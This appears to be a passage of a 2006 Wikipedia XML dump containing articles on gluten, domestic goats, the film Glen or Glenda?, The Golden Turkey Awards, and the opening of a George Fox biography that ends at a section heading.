'''Gluten''' is an amorphous [[ergastic substance|ergastic]] [[protein]] found combined with [[starch]] in the [[endosperm]] of some [[cereal]]s, notably [[wheat]], [[rye]], and [[barley]]. It constitutes about 80% of the proteins contained in wheat, and is composed of the proteins [[gliadin]] and [[glutenin]]. Gluten is responsible for the [[elastic|elasticity]] of kneaded [[dough]], which allows it to be [[leavening agent|leavened]], as well as the &quot;chewiness&quot; of baked products like [[bagel]]s.  

== Extraction ==

Gluten can be extracted from the [[flour]] of wheat and other grains by washing the [[starch]] out. To do this, a simple [[dough]] of flour and water is rinsed with plain water and kneaded until the rinsing water remains clear and free from starch and [[bran]]. For chemical, non-food purposes, a [[salt|saline]] solution provides better results. The remaining lump of gluten should have a stringy, sticky texture reminiscent of [[chewing gum]]

== Usage ==

Cooked gluten becomes firm to the bite and soaks up a certain amount of the surrounding [[broth]] and its taste. It is therefore commonly used in [[vegetarian cuisine]], notably [[Buddhist cuisine|Chinese Buddhist]] and [[vegan|vegan cuisine]], where one variety is called [[wheat gluten (food)|seitan]]. Some consider it a convincing [[imitation meat]] (particularly duck) when the broth is flavored accordingly. 

In the process of [[baking]], gluten is responsible for keeping the [[fermentation]] gases in the dough, allowing it to rise. After baking, the [[denaturation (biochemistry)|coagulate]]d gluten ensures that the final product keeps its shape.



== Occurrence ==

Gluten is found in some cereals (e.g., [[wheat]], [[rye]], [[barley]]) and their end products. No gluten is contained in [[rice]] (even [[glutinous rice]]), [[wild rice]], [[maize]] (corn), [[millet]]s, [[buckwheat]], [[quinoa]], or [[amaranth]].  [[Oat]]s and [[teff]] do not contain gluten, but are sometimes grown directly adjacent to, and/or milled on the same equipment as, other grains that do contain gluten, and so are commonly contaminated.  Non-cereals such as [[soybean]]s and [[sunflower seed]]s contain no gluten.

Other varieties of wheat such as [[kamut]] and [[spelt]] have slightly different forms of gluten. Many people who are unable to digest gluten for non-celiac reasons are able to digest these varieties. People suffering from [[coeliac disease]] are advised to avoid all forms of wheat.

== See also ==
* [[Textured vegetable protein]]
* [[Wheat gluten (food)]]

[[Category:nutrition]]

[[be:Глютэн]]
[[da:Gluten]]
[[de:Gluten]]
[[es:Gluten]]
[[eo:Gluteno]]
[[fr:Gluten]]
[[he:גלוטן]]
[[nl:Gluten]]
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[[pt:Gluten]]
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[[sv:Gluten]]</text>
    </revision>
  </page>
  <page>
    <title>Domestic goat</title>
    <id>13153</id>
    <revision>
      <id>41569525</id>
      <timestamp>2006-02-28T05:19:45Z</timestamp>
      <contributor>
        <username>Fir0002</username>
        <id>99065</id>
      </contributor>
      <comment>/* Meat */</comment>
      <text xml:space="preserve">: ''For general information on goats, including [[mythology]] and [[wild]] [[species]], see [[Goat]].  This article focuses on the [[domestic]] species.''
{{Taxobox
| color = pink
| name = Domestic Goat
| status = {{StatusDomesticated}}
| image = Goat face.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Artiodactyla]]
| familia = [[Bovidae]]
| subfamilia = [[Caprinae]]
| genus = ''[[Goat|Capra]]''
| species = ''[[Wild Goat|C. aegagrus]]''
| subspecies = '''''C. a. hircus'''''
| trinomial = ''Capra aegagrus hircus''
| trinomial_authority = ([[Carolus Linnaeus|Linnaeus]], 1758)
}}

The '''domestic [[goat]]''' (Capra aegagrus hircus) is a [[domesticated]] subspecies of the [[Wild Goat]] of south-west [[Asia]] and eastern [[Europe]].

Domestic goats are one of the oldest domesticated species.  For thousands of years, they have been utilized for their [[milk]], [[meat]], [[hair]], and [[skin]]s all over the world.  In the last century they have also gained some popularity as [[pet]]s.

Female goats are referred to as ''does'' or ''nannies'', intact males as ''bucks'' or ''billies''. [[Castration|Castrated]] males are ''wethers'', offspring are ''kids''. Goat meat is sometimes called '''chevon'''. 

==History==
[[Image:Male goat.jpg|thumb|250px|Male goat, also called a buck]]
Goats seem to have been first [[domesticated]] roughly 10,000 years ago in the [[Zagros]] Mountains of [[Iran]].[http://web.utk.edu/~persian/goat.htm]  Ancient cultures and [[tribe]]s began to keep them for easy access to [[milk]], [[hair]], [[meat]], and [[skin]]s. Domestic goats were generally kept in herds that wandered on hills or other grazing areas, often tended by [[goatherd]]s who were frequently [[children]] or [[adolescent]]s, similar to the more widely known [[shepherd]].  These methods of [[herding]] are still utilized today.

Historically, goathide has been used for [[water]] and [[wine]] bottles in both traveling and transporting wine for sale.  It has also been used to produce [[parchment]], which was the most common material used for [[writing]] in [[Europe]] until the invention of the [[printing press]].

==Goat Products==
A goat is said to be truly useful both when alive and dead, providing meat and milk while the skin provides hide. In fact, a [[charity]] is involved in providing goats to [[poverty|impoverished]] people in [[Africa]]. The main reason cited was that goats are easier to manage than [[cattle]] and have multiple uses. [http://www.timesonline.co.uk/printFriendly/0,,1-8243-1402375,00.html]

===Meat===
[[Image:Goats in mountains.jpg|thumb|250px|Goats in the mountains - the farmer uses this herd for meat]]
The taste of goat meat, called ''chevon'', is said to be similar to [[veal]] or [[venison]], depending on the age of the goat. It can be prepared in a variety of ways including [[stewed]], [[baked]], [[grilled]], [[barbecue]]d, [[minced]], [[canning|canned]], or made into [[sausage]]. It is also healthier than [[mutton]] as it is lower in fat and [[cholesterol]] and comparable to [[chicken]]. It is quite popular in the [[Middle East]], [[South Asia]] and in [[Africa]], though less so in the [[United States]]. 

Other parts of the goat including organs are also equally edible. Special delicacies include the [[brain]] and [[liver]]. The head and legs of the goat are also [[smoked]] and used to prepare unique spicy dishes.

Note that in [[India]], it is usually goat meat or chevon which is commonly called [[mutton]], and not [[domestic sheep|sheep]] meat. Also, goat [[mutton]] (sic) is usually the one which is preferred to be eaten by [[Hindu]]s (provided they are non-vegetarian) and most [[Muslim]]s rather than sheep. The various [[mutton]] [[curry]] dishes of the Indian cuisine, typically when cooked at home, are actually ''chevon'' dishes.

===Milk and Cheese===
Goat [[milk]] is more easily digested than [[cow]]s' milk and is recommended for infants and people who have difficulty with cow's milk. The curd is much smaller and more digestable. Moreover it is naturally homogenized since it lacks the [[protein]] [[agglutinin]].

Contrary to popular opinion, goats milk is not naturally bad tasting. When handled properly, from clean and healthy goats, in a sanitary manner, and cooled quickly, the flavor is unremarkable and inoffensive. Also, it is necessary to separate the strong smelling buck from the dairy does, as his scent will rub off on them and will taint the milk.

Goats milk is also used to make popular [[cheese]]s such as [[Rocamadour (cheese)|Rocamadour]] and [[Feta (cheese)|Feta]].

===Skin===
Goat skin is still used today to make [[glove]]s, [[boot]]s, and other products that require a soft hide.  ''Kid gloves'', popular in [[Victorian times]], are still made today.

===Fiber===
Cashmere goats produce a fiber, [[Cashmere wool]], which is one of the best in the world. Cashmere fiber is very fine and soft, and grows beneath the guard hairs. Ideally there is a proportionally smaller  amount of guard hair (which is undesirable and cannot be spun or dyed) to the cashmere fiber. Most goats produce cashmere fiber to some degree, however the Cashmere goat has been specially bred to produce a much higher amount of it with fewer guard hairs.  The [[Angora]] breed produces long, curling, lustrous locks of [[mohair]]. The entire body of the goat is covered with mohair and there are no guard hairs. The locks can be six inches or more in length. Goats do not have to be [[slaughter]]ed to harvest the wool, which is instead sheared (cut from the body) in the case of Angora goats, or combed, in the case of Cashmere goats.  The fiber is made into products such as [[sweater]]s. Both cashmere and mohair are warmer per ounce than [[wool]] and are not scratchy or itchy or as allergenic as wool sometimes is. Both fibers command a higher price than wool, compensating for the fact that there is less fiber per goat than there would be wool per sheep.

In [[South Asia]], Cashmere is called ''pashmina'' ([[Persian language|Persian]] ''pashmina'' = fine wool) and these goats are called ''pashmina'' goats (often mistaken as sheep). Since these goats actually belong to the upper [[Kashmir]] and [[Laddakh]] region, their wool came to be known as cashmere in the West. The ''pashmina'' [[shawl]]s of Kashmir with their intricate embriodery are very famous.

==Feeding Goats==
Goats are reputed to be willing to eat almost anything. Contrary to this reputation, they are quite fastidious in their habits, preferring to browse on the tips of woody shrubs and trees, as well as the occasional broad leaved plant. It can fairly be said that goats will eat almost anything in the botanical world. Their plant diet is extremely varied and includes some species which are toxic or detrimental to cattle and sheep. This makes them valuable for controlling [[noxious weeds]] and clearing brush and undergrowth. They will seldom eat soiled food or water unless facing [[starvation]]. 

They certainly do not consume [[waste|garbage]], [[tin can]]s, or [[clothing]], but they will occasionally consume items made primarily of plant material, which can include wood. Their reputation for doing so is most likely due to their intensely inquisitive and intelligent nature: they will explore anything new or unfamiliar in their surroundings. They do so primarily with their [[prehensile]] upper lip and tongue. This is why they investigate clothes by nibbling at them.

==Reproduction==
[[Image:Baby goats.jpg|thumb|right|250px|Baby goats, called ''kids'']]
In some climates goats are, like humans, able to [[breeding|breed]] at any time of the year. In northern climates and among the Swiss breeds, the breeding season commences as the day length shortens, and ends in early spring. Does of any breed come into heat every 21 days for from 2-48 hours. A doe in heat typically flags her tail often, stays near the buck if one is present, becomes more vocal, and may also show a decrease in appetite and milk production for the duration of the heat. 

Bucks (intact males) of Swiss and northern breeds come into rut in the fall as with the doe's heat cycles. Rut is characterized by a decrease in appetite, [[obsessive]] interest in the does, fighting between bucks, display behavior, and, most notably, a strong, [[musk]]y odor. This odor is singular to bucks in rut--the does do not have it unless the buck has rubbed his scent onto them or the doe is in actuality a [[hermaphrodite]]--and is instrumental in bringing the does into a strong heat.

[[Image:Mother eating placenta.jpg|thumb|Mother goat eating placenta]]
In addition to live breeding, [[artificial insemination]] has gained popularity among goat [[breeder]]s, as it allows for rapid improvement because of breeder access to a wide variety of [[bloodline]]s. 

[[Gestation]] length is approximately 150 days. [[Twins]] are the usual result, with single and [[triplet]] births also common. Less frequent are litters of [[quadruplet]], [[quintuplet]], and even [[sextuplet]] kids. Birthing, known as ''kidding'', generally occurs uneventfully with few complications. The mother often eats the [[placenta]], which gives her much needed nutrients, helps staunch her bleeding, and reduces the lure of the birth scent to predators. After kidding, the kids conceal themselves in small places and lay immobile for hours at a time while their dam feeds. Upon her return, she calls for them and they come out to nurse and play. 

''Freshening'' (coming into [[milk]] production) occurs at kidding. Milk production varies with the breed, age, quality, and diet of the doe; dairy goats generally produce between 660 to 1,800 L (1,500 and 4,000 lb) of milk per 305 day [[lactation]]. On average, a good quality dairy doe will give at least 6 lbs of milk per day while she is in milk, although a first time milker may produce less, or as much as 16 lbs or more of milk in exceptional cases.  Meat, fiber, and [[pet]] breeds are not usually milked and simply produce enough for the kids until [[weaning]].

==Goat breeds==
Goat breeds fall into four categories, though there is some overlap between them; meaning that some are dual purpose.

===Dairy===
* [[Alpine (goat)|Alpine]]:[[French Alpine]],[[British Alpine]],[[American Alpine]]
* [[Golden Guernsey]]
* [[La Mancha (goat)|La Mancha]]
* [[Nigerian Dwarf (goat)|Nigerian Dwarf]]
* [[Nubian (goat)|Nubian]]
* [[Oberhasli (goat)|Oberhasli]]
* [[Rove]]
* [[Saanen goat|Saanen]]
* [[Sable Saanen]]
* [[Toggenburg (goat)|Toggenburg]]
* [[Kinder (goat)|Kinder]]

===Fibre===
* [[Angora goat|Angora]]
* [[Cashmere wool|Cashmere]]
* [[Pygora]]

===Meat===
* [[Boer goat|Boer]]
* [[Kiko goat|Kiko]]
* [[Rove goat|Rove]]
* [[Spanish goat|Spanish]]
* [[Fainting goat|Fainting]]

===Pet===
* [[Pygmy goat|Pygmy]]
* [[Nigerian Dwarf (goat)|Nigerian Dwarf]]

===Wild=== 
*[[Himalayan tahr|Tahr]]
*[[Kri-kri|Cretan kri-kri]] (''Capra aegagrus creticus'')
*[[Ibex]], including the [[Alpine Ibex]]

==Showing==
Goat [[breeder]]s' clubs frequently hold [[show]]s, where goats are judged on traits relating to [[conformation]], [[udder]] quality, evidence of high production and longevity. People who show their goats usually keep registered stock and the offspring of award winning animals command a higher price. Registered stock in general is usually higher priced if for no other reason than that records have been kept proving its ancestry and the production and other data of its sire, dam, and other ancestors. A registered dairy doe is usually less of a gamble than buying any dairy doe at random (as at an auction or sale barn) because of these records and the reputation of the breeder.

Children's clubs such as [[4-H]] also allow goats to be shown. Children's shows often include a [[showmanship]] class, where the cleanliness and presentation of both the animal and the exhibitor as well as the handler's ability and skill in handling the goat are scored. In a showmanship class, conformation is irrelevant since this is not what is being judged.       

&lt;b&gt;The Dairy Goat Scorecard&lt;/b&gt; (milking does)- is the system used for judging shows in the U.S. and is as follows:

General Appearance: 30 points
(This includes breed characteristics, head, shoulders, legs and feet, and topline- the back and rump)

Dairy Character: 20 points (the doe should be lean and angular, not meaty, and show evidence of high production). 

Body Capacity: 20 points (the doe should be large and strong with a wide, deep barrel).

Mammary System: 30 points (udder should be productive and very well attached so as to be held up high away from possible injury, teats should be of a good size and shape for easy milking).


In all the perfect dairy goat would score all 100 points, and this is the standard the goats are judged by. Young stock and bucks are judged by different scorecards which place more emphasis on the other three categories; general appearance, body capacity, and dairy character. 

==Gallery==
&lt;gallery&gt; 
Image:Rove goat 800.jpg|A Rove
Image:Brown&amp;black goat.jpg|Oberhasli or Alpine goat
Image:Brown female goat.jpg|This doe is likely of the Spanish type or a Nubian cross. Note the pendulous ears
Image:Goats in mountains.jpg|Domestic Goats high up in the hills
Image:Kid.jpg|A young Nubian kid goat
Image:Gorge_du_Verdon_Goat_0254.jpg|Goat in the mountains above Gorges du Verdon, Provence, South-France
Image:Ziegen_unbekannt.jpg|Goats on [[An Teallach]], [[Scotland]]
&lt;/gallery&gt;

==See also==
*[[Livestock]] 

==External links==

* [http://www.ansi.okstate.edu/breeds/goats/ Goat breeds]
* [http://www.ansi.okstate.edu/library/Goats.html Goat resources]
* [http://members.aol.com/RVSNorton/Lincoln33.html Abraham Lincoln's sons kept pet goats inside the White House]

[[Category:Goats]]
[[Category:Meat]]

[[cy:Gafr]]
[[de:Hausziege]]
[[es:Cabra]]
[[eo:Kapro]]
[[fr:Chèvre]]
[[ms:Kambing]]
[[nl:Geit]]
[[ja:&amp;#12516;&amp;#12462;]]
[[nds:Teeg]]
[[pl:Koza domowa]]
[[pt:Bode]]
[[hu:H%C3%A1zi_kecske]]</text>
    </revision>
  </page>
  <page>
    <title>Glen or Glenda?</title>
    <id>13154</id>
    <revision>
      <id>41396612</id>
      <timestamp>2006-02-27T01:29:59Z</timestamp>
      <contributor>
        <ip>67.81.119.226</ip>
      </contributor>
      <comment>/* Idiosyncracies */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Glen or Glenda? |
  image          = Glen or Glenda box.jpg |
  director       = [[Edward D. Wood, Jr.]] |
  producer       = [[George Weiss]] |
  writer         = [[Edward D. Wood, Jr.]] |
  starring       = [[Edward D. Wood, Jr.]] (as 'Daniel Davis')&lt;br&gt;[[Dolores Fuller]]&lt;br&gt;[[Bela Lugosi]] |
  movie_music    = [[William Lava]] (uncredited) |
  distributor    = [[Screen Classics]] |
  released   = [[1953]] ([[United States|USA]]) |
  runtime        = 65 min. |
  language = [[English language|English]] |
  imdb_id        = 0045826 |
  music          = |
  awards         = |
  budget         = |
}}
'''''Glen or Glenda?''''' is a [[film|movie]] made in [[1953]], starring its director [[Ed Wood, Jr.|Ed Wood]], [[Bela Lugosi]], and Wood's then-girlfriend [[Dolores Fuller]]. The movie is a [[docudrama]] about [[transvestism]], and is semi-autobiographical in nature; Wood himself was a transvestite, and the movie is a plea for [[tolerance]]. However, it has become a [[cult film]] due to its low-budget production values and idiosyncratic style.

==Origin==
The sex-change operation of [[Christine Jorgensen]] made national headlines in 1952, and this was the inspiration for [[George Weiss (producer)|George Weiss]], a Hollywood producer of low-budget films, to commission a movie to exploit it. Ed Wood persuaded Weiss that his own transvestism made him the perfect director despite his modest resume. Wood was given the job and took the money, but instead made a movie about transvestism. When the finished movie was deemed too short and too divergent from what was requested, Wood tacked on a few extra scenes about sexual reassignment. The film received a release only because it had been pre-sold to a number of theatres before it was made.

==Behind the scenes==
Wood persuaded Bela Lugosi, a former star now aged, impoverished, and drug-addicted, to appear in the movie. Wood himself played the eponymous Glen/Glenda, but under the pseudonym 'Daniel Davis'. His girlfriend, Dolores Fuller, played Glen's girlfriend. Fuller was not aware of Wood's transvestism at the time: the nature of the film was not fully explained to her, and Wood rarely wore women's clothing when she was on set. Only at a screening of the finished product was the truth revealed, and Fuller claims to have been humiliated by the experience. This was the only movie Ed Wood directed but did not also produce. 

[[Image:Cap010.jpg|thumb|right|Bela Lugosi shouting &quot;Pull the string!&quot; amid stampeding bison]]

==Idiosyncracies==
[[Leonard Maltin]]'s best-selling ''Movie and Video Guide'' names this film as &quot;possibly the worst movie ever made,&quot;  a dubious honor previously held by another Wood film, ''[[Plan 9 from Outer Space]]''.

Bela Lugosi is credited as 'The Scientist', a character whose purpose is unclear. He acts as a sort of narrator but gives no narration relevant to the plot; that job is reserved for the film's primary narrator, [[Timothy Farrell]]. The Scientist is surrounded by horror-movie trappings such as skulls and test tubes as he exhorts the audience to &quot;beware of the big green dragon that sits on your doorstep&quot;. Stock footage of rampaging [[American Bison|bison]] are superimposed over The Scientist's face at one point for no obvious reason. There are also various unnecessarily long, surreal dream sequences during which Glen is haunted by a devil-like character

[[Image:Glen or Glenda.jpg|thumb|right|Film poster for Glen or Glenda?]]

==Legacy==
The lead character turns lethal in Wood's novel ''Killer in Drag'' and is executed in ''Death of a Transvestite.'' In the book ''Death of a Transvestite,'' Glen struggles for the right to go to the electric chair dressed as Glenda.

[[Tim Burton]]'s movie ''[[Ed Wood (film)|Ed Wood]]'' depicts the making of the film and includes reconstructions of several scenes with [[Johnny Depp]] in the role of Ed Wood. 

Co-star Dolores Fuller eventually went on to a songwriting career, authoring hits song for Elvis Presley such as &quot;Rock-A-Hula Baby&quot;.

''Glen or Glenda'' was reissued with six minutes of additional footage in 1982. Restored scenes include Glen's rejection of a pass made by a gay man.

The film was remade as pornographic ''Glen &amp; Glenda'' in 1994 -- not spoofed, actually remade from the original script but with sex added.

In the movie ''The Seed of Chucky,'' the gender-confused offspring of the evil puppets goes by two names, Glen and Glenda, after this movie.

==Alternate titles==
*''He or She?''
*''I Changed My Sex''
*''I Led 2 Lives''
*''The Transvestite''

==References==
* ''[[The Haunted World of Edward D. Wood, Jr.]]'' (documentary, dir. [[Brett Thompson]], [[1996]]).

==See also==
* [[Transgender in film and television]]
* [[Cross-dressing in film and television]]

==External links==
* {{imdb title|id=0045826|title=Glen or Glenda}}
* ''Glen or Glenda'' at [http://www.movietome.com/movietome/servlet/MovieMain/movieid-50289/ ''Movie Tome'']

[[Category:1953 films]]
[[Category:Films directed by Ed Wood]]
[[Category:Cult films]]
[[Category:Public domain films]]
[[Category:Transgender]]</text>
    </revision>
  </page>
  <page>
    <title>The Golden Turkey Awards</title>
    <id>13155</id>
    <revision>
      <id>40370209</id>
      <timestamp>2006-02-20T02:45:23Z</timestamp>
      <contributor>
        <username>Dbtfz</username>
        <id>762819</id>
      </contributor>
      <minor />
      <comment>/* List of Golden Turkey winners */ typo</comment>
      <text xml:space="preserve">{{mergefrom|Golden turkey}}
'''''The Golden Turkey Awards''''' is a [[1980]] book by film critic [[Michael Medved]] and his brother [[Harry Medved]]. This book is credited with giving the movie ''[[Plan 9 from Outer Space]]'' by [[Ed Wood, Jr.]] the reputation of being the &quot;worst movie ever made&quot;.

The book awards the fictional &quot;Golden Turkey Awards&quot; to [[film]]s that the Medveds feel are poor in quality, along with [[film director|director]]s and actors judged to have created a chronically inept body of work. Readers will not necessarily agree with all their choices, however the book almost exclusively showcases low-budget obscurities and exploitation films.

The Medveds had previously &quot;celebrated&quot; bad cinema in ''[[The Fifty Worst Films of All Time]]'', many of which were also featured in the various ''Golden Turkey Awards'' categories.

One of the films &quot;nominated&quot; in the book was in fact an invention of the authors and readers were challenged to figure out which film was actually fake. The fake film was ''Dog of Norway'', which was illustrated using a photo of a co-author's dog.

==List of Golden Turkey winners==

* '''Most Embarrassing Movie Debut''': [[Paul Newman]] in ''[[The Silver Chalice]]''
* '''Most Ridiculous Movie Monster''': ''[[Robot Monster]]''
* '''Worst Performance by a Popular Singer''': [[Tony Bennett]] in ''[[The Oscar (film)|The Oscar]]''
* '''Worst Title''': ''[[Rat Pfink a Boo Boo|Rat Fink a Boo Boo]]''  
* '''Most Brainless Brain Movie''': ''[[They Saved Hitler's Brain]]''
* '''Most 'Badly Bumbled Bee' Movie''': ''[[The Swarm]]''
* '''Worst Casting''': [[John Wayne]] as [[Genghis Khan]] in ''[[The Conqueror]]''
* '''Worst Performance by a Politician''': [[United States Congress]]man and [[New York City]] Mayor [[John Lindsay]] in ''[[Rosebud (film)|Rosebud]]''
* '''Worst Two-Headed Transplant Movie''': ''[[The Thing with Two Heads]]''
* '''Worst Rodent Movie''': ''[[The Food of the Gods]]'' 
* '''Worst Performance by a Novelist''': [[Norman Mailer]] in ''[[Wild 90]]''
* '''[[P.T. Barnum]] Award for Worst Cinematic Explotation of a Physical Deformity''': ''[[The Terror of Tiny Town]]'', a [[Western film]] with an all-[[dwarfism|dwarf]] cast.
* '''Worst Musical Extravaganza''': ''[[At Long Last Love]]'' (early 1970s musical starring [[Burt Reynolds]]) 
* '''Worst Performance as a Clergyman or Nun''': [[Mary Tyler Moore]] in ''[[Change of Habit]]'' 
* '''Worst Performance as [[Jesus Christ]]''': [[Ted Neeley]] in ''[[Jesus Christ Superstar]]''
* '''Worst [[Blaxpoitation]] Movie''': ''[[Scream, Blacula, Scream]]''
* '''Biggest Rip-off in Hollywood History''': The [[1976]] version of ''[[King Kong (1976 film)|King Kong]]''
* '''Worst Credit Line''': The [[1929]] version of [[William Shakespeare]]'s ''[[The Taming of the Shrew]]'', &quot;with additional dialogue by [[Sam Taylor (director)|Sam Taylor]]&quot;.
* '''Most Unerotic Concept in [[Pornography]]''': ''[[Him (film)|Him]]'', a porn film about a priest with a sexual fixation on [[Jesus Christ]]
* '''Worst Performance by an Animal''': Dinky the Chimp in ''[[Tarzan and the Great River]]''. (During filming, Dinky attacked and injured lead actor [[Mike Henry]].)
* '''Worst Vegetable Movie''': ''[[Attack of the Mushroom People]]''
* '''Worst Performance by [[Sonny Tufts]]''': ''[[Government Girl]]''
* '''Most Ludicrous Racial Impersonation]]''': [[Marlon Brando]] as a native of [[Okinawa]] in ''[[Teahouse of the August Moon]]''
* '''Most Obnoxious Child Performer''': [[David Kory]] in ''[[Dondi]]''
* '''Worst Film You Never Saw''' (category for films never completed or only released in a limited fashion): ''[[Billy Jack Goes to Washington]]'' 
* '''Most Inane Technical Advance''': [[Percepto]], designed by [[William Castle]] for his 1959 film, ''[[The Tingler]]'' starring [[Vincent Price]]. At certain times in the film, small electric shocks were delivered to the audience through their theater seating.
* '''Worst Line of Romantic Dialogue''': an exchange between [[Gary Cooper]] and [[Madeleine Carroll]] in ''[[Northwest Mounted Police (film)|Northwest Mounted Police]]'' 
* '''Worst Director''': [[Ed Wood, Jr.|Edward D. Wood Jr.]]
* '''Worst Actress''': [[Raquel Welch]] 
* '''Worst Actor''': [[Richard Burton]]

In addition, the Golden Turkey Awards had a reader's choice category for Worst Film of All Time, voted upon by readers of ''The Fifty Worst Films of All Time''.

* '''First Runner-Up''': ''[[Exorcist II: The Heretic]]''
* '''Worst Film''':  ''[[Plan 9 from Outer Space]]''

==See also==
* [[Golden Raspberry Awards]]

==References==
* Medved, Harry, and Randy Dreyfuss. ''The Fifty Worst Films of All Time (And How They Got That Way)''. 1978, Warner Books. ISBN 0445041390.
* Medved, Michael, and Harry Medved. ''The Golden Turkey Awards''. 1980, Putnam. ISBN 039950463X.

[[Category:Film awards]]
[[Category:1980 books|Golden Turkey Awards, The]]

[[de:Golden Turkey Award]]</text>
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    <title>George Fox</title>
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    <revision>
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      <timestamp>2006-02-22T14:21:32Z</timestamp>
      <contributor>
        <username>Solipsist</username>
        <id>49943</id>
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      <minor />
      <comment>rv - swarthmoorhall.co.uk already linked from the [[Swarthmoor Hall]] page, which is the right place for it</comment>
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[[Image:George Fox.jpg|frame|right|19th-century engraving of George Fox, based on a painting of unknown date.]]
'''George Fox''' (July 1624 &amp;ndash; [[January 13]] [[1691]]) was an [[English Dissenters|English Dissenter]] and a major early figure — often considered the founder — of the [[Religious Society of Friends]], commonly known as the Quakers. Living in a time of great social upheaval, he rebelled against the religious and political consensus by proposing an unusual and uncompromising approach to the [[Christianity|Christian faith]]. His journal is a text popular even among non-Quakers for its vivid account of his personal journey.

== Early life == 
George Fox was born at Drayton-in-the-Clay, [[Leicestershire]], [[England]] (now known as [[Fenny Drayton]]), 24 km (15 miles) southwest of [[Leicester]]. His father, Christopher Fox, was a [[weaving|weaver]], called &quot;righteous Christer&quot; by his neighbours; his mother, Mary Lago, was&amp;mdash;he tells us&amp;mdash;&quot;of the stock of the Martyrs&quot;. From childhood, Fox was of a serious, religious disposition. His education was based around the faith and practice of the [[Church of England]], of which his parents were members; he had no formal schooling, but was able to read and write. Even at a young age, he was fascinated by the [[Bible]], which he studied continually. &quot;When I came to eleven years of age,&quot; he said, &quot;I knew pureness and righteousness; for, while I was a child, I was taught how to walk to be kept pure. The Lord taught me to be faithful, in all things, and to act faithfully two ways; viz., inwardly to God, and outwardly to man.&quot; ([[#References|Jones]] 1908 [http://www.strecorsoc.org/gfox/ch01.html])
[[Image:Fox-George-LOC.jpg|thumb|Facsimile of portrait drawn on stone by Thomas Fairland.]]
As he grew up, his relations &quot;thought to have made him a priest,&quot; but he was instead made an apprentice to a [[shoemaking|shoemaker]] and [[wikt:Grazier|grazier]]. This suited his contemplative temperament, and he became well-known for his diligence among the wool traders who had dealings with his master. A constant obsession for Fox was the pursuit of &quot;simplicity&quot; in life, meaning humility and the abandonment of luxury, and the short time he spent as a [[shepherd]] was important to the formation of this view. Toward the end of his life, he wrote a letter for general circulation pointing out that [[Abel]], [[Noah]], [[Abraham]], [[Jacob]], [[Moses]] and [[David]] were all keepers of sheep or cattle, and that a learned education should not therefore be seen as a qualification for ministry. ([[#References|Marsh]] 1847, 364)

Even so, he felt no shame in friendship with educated people. He frequently visited Nathaniel Stephens, the clergyman of his hometown, to engage in long discussions on religious matters. Stephens considered Fox to be a gifted young man, but the two disagreed on so many issues that he later called Fox a madman and spoke against him in his subsequent career. George Fox also had friends who were &quot;professors&quot; (followers of the standard religion), but by the age of nineteen he had begun to look down on their behaviour, in particular their drinking of alcohol. He records that in prayer one night he heard an inner voice saying, &quot;Thou seest how young people go together into vanity, and old people into the earth; and thou must forsake all, both young and old, and keep out of all, and be as a stranger unto all.&quot; ([[#References|Jones]] 1908 [http://www.strecorsoc.org/gfox/ch01.html#upfn12])

=== First travels ===
For this reason, he left Drayton-in-the-Clay in September 1643, wandering in a state of mental torment and confusion. While in [[Barnet]], Fox would alternately shut himself in his room for days at a time, or go out alone into the countryside. He thought intensely about [[Jesus]]' [[Satan#In the New Testament|temptation in the desert]], which he compared to his own spiritual condition, but drew strength from his conviction that God would support and preserve him. At times, he attracted the attention of various religious scholars, but he rejected them because he did not feel they lived up to the doctrines they taught. Fox did actively seek out the company of clergy, but &quot;found no comfort from them&quot;, as they too seemed unable to help with the matters that were troubling him. One clergyman in [[Worcestershire]] advised him to take [[tobacco]] (which Fox detested) and sing [[psalms]]; another, in [[Coventry]], was helpful at first but lost his temper when Fox accidentally stood on a flower in his garden; a third suggested that [[bloodletting]] would cure the &quot;mind diseased&quot;. ([[#References|Jones]] 1908, footnote 19 [http://www.strecorsoc.org/gfox/ch01.html#upfn19])

Disillusioned and dejected, he returned home in June 1644. But there was no help to be found there either: Fox's family and friends offered either [[marriage]] or [[military service]] as a solution to his troubles. He soon decided that he would have to go travelling again, but this time with a more questioning approach towards the religious figures he would encounter. Fox was determined to challenge those he disagreed with, rather than shrink away from them. ([[#References|Marsh]] 1847, 31&amp;ndash;32&lt;nowiki&gt;)&lt;/nowiki&gt;

=== Unique beliefs begin to form ===

Over the next few years, George Fox continued to travel around the country as his particular religious beliefs took shape.  In prayer and meditation, he came to a greater understanding of the nature of his faith and what it required from him.  This process he called &quot;opening&quot;, because he experienced it as a series of sudden revelations of ideas that were already complete by the time he became conscious of them.  He also came to what he deemed a deep inner understanding of standard Christian beliefs in creation and salvation.  Among his ideas were:

*Christians differ in external practice, but all are considered &quot;saved&quot; because of their belief; rituals can therefore be safely ignored, as long as one experiences a true spiritual conversion.
*The qualification for ministry is given by the [[Holy Spirit]], not by ecclesiastical study. This implies that anyone has the right to minister, assuming the Spirit guides them, including women.
*God &quot;dwelleth in the hearts of his obedient people&quot;: religious experience is not confined to a [[church]] building.  Indeed, Fox refused to apply the word &quot;Church&quot; to a building, using instead the name &quot;steeple-house&quot;, a usage maintained by many Quakers today.  Fox preferred to worship in fields and orchards, believing that God's presence could also be felt in the natural world.

[[Image:AssemblyOfQuakers.jpg|thumb|right|250px|A female Quaker preaches at a meeting in London]]

Fox had some experience among &quot;[[English Dissenters]]&quot;, groups of people who had broken away from the major churches because of their unusual beliefs.  He had hoped that the dissenters would be able to help his spiritual understanding, where the established church could not, but this was not the case: he fell out with one group, for example, because he maintained that women had souls.  From this comes the famous passage from his journal:

:''But as I had forsaken the priests, so I left the separate preachers also, and those esteemed the most experienced people; for I saw there was none among them all that could speak to my condition'' [address my spiritual needs]''.  And when all my hopes in them and in all men were gone, so that I had nothing outwardly to help me, nor could tell what to do, then, oh, then, I heard a voice which said, &quot;There is one, even Christ Jesus, that can speak to thy condition&quot;; and when I heard it my heart did leap for joy.  Then the Lord let me see why there was none upon the earth that could speak to my condition, namely, that I might give Him all the glory; for all are concluded under sin, and shut up in unbelief as I had been, that Jesus Christ might have the pre-eminence who enlightens, and gives grace, and faith, and power.  Thus when God doth work, who shall let'' [hinder] ''it? and this I knew experimentally'' [through experience]''.'' ([[#References|QFP]] &amp;sect;19.02)

== The Religious Society of Friends takes shape ==

